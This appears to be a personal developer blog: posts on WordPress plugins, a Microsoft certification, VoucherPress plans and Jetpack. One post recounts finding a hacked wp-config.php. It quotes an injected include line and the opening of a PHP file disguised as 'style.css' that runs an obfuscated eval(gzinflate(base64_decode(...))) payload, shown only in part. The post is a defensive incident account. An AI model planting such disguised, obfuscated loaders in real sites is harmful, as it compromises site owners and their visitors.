New WordPress plugins

I’ve released a couple of new WordPress plugins recently which I thought I’d waffle on about.

Theme Reset

I had a situation not too long ago on a WordPress MultiSite site I run where I had deleted some themes but there were still some sites using those themes. I needed to reset all the sites to use the same theme, but there wasn’t an easy way to do it. So I made a plugin.

And here it is: Theme Reset. There’s not much to it; you have to be a network admin to get the option, and you can choose any installed theme. That’s it.

Child Themes

The other plugin I released is also theme related. This one allows you to create a child theme from any installed theme. Just click “Create child theme” on the theme you want to be a parent, fill in a simple form and boom – the new child theme is created and installed.

screenshot-1

screenshot-2

screenshot-3

screenshot-4

I’m no designer (as you can probably tell) but this seemed like a good idea that could save people some time.

I’ve been certified

It’s been a good week, for several reasons. One of them is that I passed a Microsoft exam: Developing web apps in .Net 4. That means I am now (drum roll) a Microsoft Certified Technology Specialist. I’ve been building websites for 14 years, give or take, so it’s about time I had some kind of qualification in it.

This is, to put it bluntly, an unexpected turn of events. For much of my career I’ve treated the Microsoft-based things I do in my day job as “just” work, and my real passion has been the Open Source web development I’ve done in my own time. When those two worlds collide, which they do occassionally, it always feels a bit strange. The most obvious example of my day job and personal work coming together is my Performer JavaScript library, which I use on every project I can.

So why the dismissal of Microsoft web technologies for so long? I guess it’s because, for much of the lifetime of ASP.NET, they just haven’t been very good. ASP.NET fundamentally ignored the way the web was designed to work for a long time (I’m talking ViewState and WebForms) but I have to admit it also introduced many fantastic features as well. Templated controls and MasterPages are just brilliant. For this and more of the good stuff refer to my articles on Nettuts.

But now, well, things have changed. ASP.NET MVC is a cracking bit of kit, and Microsoft’s embrace of Open Source – particularly jQuery – has changed many opinions about the Redmond behemoth. Plus the fact that finally we’re beginning to see versions of Internet Explorer that don’t suck. Although much of the industry press is still about open technologies, like WordPress, JavaScript and RoR, it no longer feels faintly embarrasing to me to be a Microsoft developer. Yes, thing’s have certainly changed.

So here’s to the future. A future where all companies, technologies and platforms can work towards making the web more open, accessible and useful in people’s lives.

WordPress White Screen of Death Woes

Damn. Just had to fix a problem on wibsite.com where nobody could see their Dashboards. There are lots of references to the White Screen of Death in WP, but none made a difference. In the end I spotted a cheeky line that had been inserted in my wp-config.php:

@require_once('../Maildir/tmp/style.css');

Whaddyaknow, that file was there, but it definitely wasn’t a CSS stylesheet:

<?php

/* ********************************************************************
*
* begin : Saturday, Feb 23, 2009
* copyright : (C) 2001 The Sequare Group
* email : support@sequare.com
*
* $Id: system,v 1.74.2.22 2005/12/30 09:51:01 acydburn Exp $
* Type - System configuration file
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2006 Bharat Mediratta

And the actual code was:

eval (gzinflate(base64_decode(
'pf1rs2XHcSQKfm6Z6T9UY2gDwBoq5vvRFCTxUpBEM4nUgNTtuUNqYCXgkCwTgEIX'
.'CiLZov777JXx8swVR7xto26SQJ5z9l6PfER4eLj/5V/8+V9+85tv/vRP/vRPvveb'
.'N9+++/h7n/3sk0//z08+/cX7f/fzn//jZ3/305/9/P1//sHjp69+/fT17cf/9Pi3'
.'z374t5/8hH/p+oj44uMX3757+9nbp2++fPX50wfv/fa3v3353kfvvffR+vGH+nsf'
.'f/VF/YD+cQ1+8frtx+/evv7qA/zr96+/fv+j99//yL2ylzb66Sf/r3/65Gc//+yf'
.'Pv3x+//8oX7i+pLHP1wDLx7/971vn97+29Pbz159/vnTN+8++/LV17/+7nFvj4v+'

Etc. Eval’d PHP? Looks like a hack to me. Removing the line from my wp-config.php file got everything back to normal. Now I’m hardening my WP, making it tougher than old boots.

If you get the White Screen of Death look carefully through your wp-config.php file for unwanted visitors.

Just write

As I tweeted earlier today, I’m now running on WordPress 3.2. It is, as many people have said, gorgeous. And the full-screen mode is amazing, especially (as I believe Matt suggested) you hit F11 to get rid of the browser chrome. Just you and your words, you need nothing more.

This weekend I had the opportunity to put in a few hours on VoucherPress, my voucher/coupon plugin for WordPress. I’ve completely overhauled the code, and while (at the moment) there aren’t many new features, this overhaul will make it much easier for several thing to happen:

  1. It will make it easier to diagnose, and hopefully fix, bugs
  2. It will make it easier to add new features
  3. And it will make it easier for other people who want to get involved to understand how it all work

But I do intend to add some new features for the upcoming version 1.4 release. Most notably is a way for individual users, not just site administrators, to create and manage their vouchers. As part of that I’ll also be making it possible to put the voucher form on the front end of your site. I’m not quite sure how I’ll do that yet, but that’s the idea.

The second major feature I’ll be adding is something I’m asked about on a regular basis. At the moment the vouchers/coupons are a fixed size (about 1/3 of A4). I want to make a voucher be produced at (almost) any size. So if you want tiny PDFs for mini-vouchers, you will be able to do that. And if you want A3 sized PDF posters, you’ll be able to do that too.

This requires a re-think of the way that the templates (templates are basically just images which appear as the background of the PDF) are stored and handled. I still intend to offer a range of templates for a set of standard sizes, but if you want completely custom sizes you’ll have to produce your own template.

My idea to overcome the much larger number of standard templates is to store them in the WordPress Subversion repository to be downloaded when required by the plugin. So you’ll install the plugin with no templates, and when you choose to create a voucher and select the size you want, the thumbnails of each template will be copied to your WordPress installation so you can choose one and create your voucher. When you save your new voucher the full-resolution version of that template will be copied to your WordPress installation ready for PDF creation.

I’m not aware of any other plugins that use the WordPress Subversion repository in this way, and it amounts to free hosting for the templates. But seeing as the kind WordPress folks offer free hosting for plugins (here’s mine) I can’t imagine it will be a problem.

So, that’s the idea. When I will get chance to do all this (and overhaul my other plugins that need it) is unknown.

Jetpack, and what this means for Wibstats

The WordPress guys have recently announced their latest project, Jetpack. It’s basically a set of plugins that run on the WordPress cloud, so you get infinitely-scalable resources to back you up. One of those plugins is stats.

Now, anyone that knows me knows one of my plugins is a statistics system called Wibstats. I’m part-way through a new version with a handful of new features.

But seeing as the WordPress stats system can now be easily installed on any blog anywhere (and indeed will come as standard with WordPress installations from most of the big hosting companies), should I bother to finish and release it? Yes, yes I should.

You see, there have always been other statistics plugins, so that hasn’t changed. They have all been easy to install (gotta love the WordPress plugin architecture) and that hasn’t changed. So even though WordPress themselves are now backing a set of plugins, including statistics, there will always be people who want something different from their stats package- maybe the something different is exactly what Wibstats does.

So, in the true spirit of Open Source, I’m going to finish Wibstats and “compete” against WordPress’ Jetpack. At the very least, Wibstats is cool to me.

Finding time to finish it will be the tricky bit.